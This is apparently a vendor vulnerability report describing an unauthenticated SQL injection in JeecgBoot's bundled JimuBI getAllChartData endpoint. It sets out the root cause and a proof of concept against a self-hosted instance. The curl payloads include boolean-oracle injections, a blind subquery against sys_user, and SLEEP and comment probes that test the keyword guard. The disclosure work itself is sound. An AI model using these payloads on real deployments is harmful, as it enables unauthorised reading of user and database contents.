| 描述 | Anonymous SQL injection through dataset parameter substitution in the JimuBI chart-data API
Vendor: JEECG
Affected versions: JeecgBoot 3.9.5 with bundled `org.jeecgframework.jimureport:jimubi-spring-boot4-starter:2.5.0`; reviewed at commit `e3b9dc0aefe1943d9772b026f64ed671a7c82802` (`v3.9.5版本发布`, 2026-08-26). The handler lives only in the pinned third-party JimuBI 2.5.0 jar; the 2 348-commit jeecg-boot history contains only vendor version bumps for it (no in-tree fix)
Vulnerability class: SQL injection (CWE-89) with partial-mitigation bypass (CWE-693)
Preconditions: Anonymous — no session, JWT, token, signature or any credential is required (every request in the proof was sent without cookie, token, `Authorization` or signature headers and returned HTTP 200). `ShiroConfig` (jeecg-boot-base-core, line 155) places `/drag/onlDragDatasetHead/getAllChartData` in the `anon` chain, and the handler `org.jeecg.modules.drag.b.i.c(JSONObject, HttpServletRequest)` carries `@JimuNoLoginRequired`, which makes the JimuReport/JimuBI token interceptor return `true` before any token check. Unlike its sibling `getTotalData`, this method carries no `@SignatureValidation`, so no signing header is required either. A dataset of the shipped parameterised shape must exist (`data_type=sql` with declared parameters, like the shipped `示例_参数查询` example; the proof used a fixture replicating exactly that shape).
An anonymous caller can turn a configured JimuBI dataset query into an arbitrary-structure SQL statement through parameter substitution in the chart-data API.
Data flow: HTTP JSON `params` at `POST /drag/onlDragDatasetHead/getAllChartData` → `OnlDragDatasetHeadServiceImpl.getSqlData` parameter merge → SQL text substitution (`DataSetUtil.c` + template substitution) → dynamic datasource execution, with the shipped basic keyword guard bypassed by boolean/subquery expressions.
### Affected interfaces
| Interface |
|---|
| POST /jeecg-boot/drag/onlDragDatasetHead/getAllChartData — JSON body `{"id":"<dataset id>","params":{"<param>":"<value>"}}`; anonymous |
Primary route detail:
```
POST /jeecg-boot/drag/onlDragDatasetHead/getAllChartData HTTP/1.1
Content-Type: application/json
{"id":"<dataset id>","params":{"<declared param>":"<value>"}}
```
Anonymous. No cookie, token, `Authorization` or signature header is required:
1. `ShiroConfig` (jeecg-boot-base-core, line 155) places the route in the `anon` chain.
2. The handler carries `@JimuNoLoginRequired`, so the JimuReport/JimuBI token interceptor returns
`true` before any token check.
3. Unlike its sibling `getTotalData`, this method carries no `@SignatureValidation`, so no signing
header is required either.
### Root cause
1. `getAllChartData` reads `id` and `params` from the JSON body, loads the dataset via `IOnlDragDatasetHeadService.queryById(id)` and, for `data_type=sql`, calls `getSqlData(dataset, params, token)`.
2. `OnlDragDatasetHeadServiceImpl.getSqlData` merges the caller's `params` object with the dataset's declared parameter defaults (`a(dataset, dataset.getQuerySql(), params)`), then builds the final statement text in `a(dataset, paramMap, token)`: each value passes through `DataSetUtil.c(value, null)` and is then substituted into the dataset `query_sql` template (`util.b.a.a(sql, paramMap)`) before execution on the dataset's dynamic datasource.
3. The substituted text is screened only by the basic keyword validator (`jeecg.jmreport.firewall.sqlInjectionLevel: basic`), which rejects `sleep\s*\(` and SQL comments; boolean and subquery expressions pass through and are evaluated by MySQL as part of the statement.
Missing guard: parameter values are concatenated into the SQL statement text instead of being bound
as values, so a caller-supplied parameter can add its own boolean expression — with
`query_sql = select '${p1}' as v` the payload `T50C11' OR '1'='1` produces
`select 'T50C11' OR '1'='1' as v`, which MySQL evaluates to `1`. The route is additionally
reachable anonymously (Shiro `anon` + `@JimuNoLoginRequired`, no `@SignatureValidation`), while the
sibling `getTotalData` route of the same controller is signature-gated — this is a separate route
and weakness, not a re-report of the signature-gated surface.
Baseline: JeecgBoot commit `e3b9dc0aefe1943d9772b026f64ed671a7c82802`, self-hosted exact-baseline fat jar `jeecg-system-start-3.9.5.jar` (sha256 `8984f38a3cd28bd1ede3cdca60e2d4447fa8ce6b32a9ff64e9c3dd5795f2e79a`) on `127.0.0.1:18102` (dev profile, MySQL and Redis on loopback). A dataset fixture replicating the shipped `示例_参数查询` shape was inserted (`onl_drag_dataset_head` row `T50C11SET…` with `data_type=sql`, one declared parameter `p1`, `query_sql = select '${p1}' as v`) and removed again afterwards. Every request below was sent without any cookie, token, `Authorization` or signature header.
**1. Negative control — a plain literal value comes back as data (no structure change):**
```sh
$ curl -s -X POST 'http://127.0.0.1:18102/jeecg-boot/drag/onlDragDatasetHead/getAllChartData' \
-H 'Content-Type: application/json' \
-d '{"id":"T50C11SET…","params":{"p1":"T50C11BOUNDLITERAL"}}'
{"code":200,...,"data":[{"v":"T50C11BOUNDLITERAL"}]}
```
**2. Boolean oracles — the caller's expression is evaluated as SQL:**
```sh
$ curl -s -X POST 'http://127.0.0.1:18102/jeecg-boot/drag/onlDragDatasetHead/getAllChartData' \
-H 'Content-Type: application/json' \
-d '{"id":"T50C11SET…","params":{"p1":"T50C11' OR '1'='1"}}'
{"code":200,...,"data":[{"v":1}]}
$ curl -s -X POST 'http://127.0.0.1:18102/jeecg-boot/drag/onlDragDatasetHead/getAllChartData' \
-H 'Content-Type: application/json' \
-d '{"id":"T50C11SET…","params":{"p1":"T50C11' AND '1'='2"}}'
{"code":200,...,"data":[{"v":0}]}
```
**3. Blind read via subquery (true/false by condition):**
```sh
$ curl -s -X POST 'http://127.0.0.1:18102/jeecg-boot/drag/onlDragDatasetHead/getAllChartData' \
-H 'Content-Type: application/json' \
-d '{"id":"T50C11SET…","params":{"p1":"T50C11' OR EXISTS(SELECT 1 FROM sys_user WHERE username='admin') OR '1'='2"}}'
{"code":200,...,"data":[{"v":1}]}
$ curl -s -X POST 'http://127.0.0.1:18102/jeecg-boot/drag/onlDragDatasetHead/getAllChartData' \
-H 'Content-Type: application/json' \
-d '{"id":"T50C11SET…","params":{"p1":"T50C11' OR EXISTS(SELECT 1 FROM sys_user WHERE username='no-such-user-t50') OR '1'='2"}}'
{"code":200,...,"data":[{"v":0}]}
```
**4. The shipped basic guard is a partial mitigation only** — it refuses `sleep(` and comments, and its own error message leaks the concatenated statement, proving the value became SQL syntax:
```sh
$ curl -s -X POST 'http://127.0.0.1:18102/jeecg-boot/drag/onlDragDatasetHead/getAllChartData' \
-H 'Content-Type: application/json' \
-d '{"id":"T50C11SET…","params":{"p1":"T50C11' OR SLEEP(2) OR '1'='2"}}'
{"code":500,"message":"...JimuSqlInjectionException: 请注意,值可能存在SQL注入风险!--->select 't50c11' or sleep(2) or '1'='2' as v"}
$ curl -s -X POST 'http://127.0.0.1:18102/jeecg-boot/drag/onlDragDatasetHead/getAllChartData' \
-H 'Content-Type: application/json' \
-d '{"id":"T50C11SET…","params":{"p1":"T50C11' OR 1=1 -- "}}'
{"code":500,"message":"请注意,SQL中不允许含注释,有安全风险!"}
```
The application log recorded the concatenated statement `select 't50c11' or sleep(2) or '1'='2' as v` together with the guard's `sleep\s*\(` keyword hit.
All testing was performed against a self-hosted instance on the reporter's own host. No third-party system, production instance or customer data was involved.
- **Vendor contact**: GitHub Private Vulnerability Reporting - jeecgboot/jeecg-boot
- **Status**: vendor notified 2026-10-06 through GitHub Private Vulnerability Reporting; private report https://github.com/jeecgboot/jeecg-boot/security/advisories/GHSA-c5pf-33hc-4346; not publicly disclosed; no CVE assigned
- **Duplicate check**: public advisories (NVD/OSV/GitHub) and the project issue tracker were searched before reporting; please tell us if this duplicates something already tracked internally. |
|---|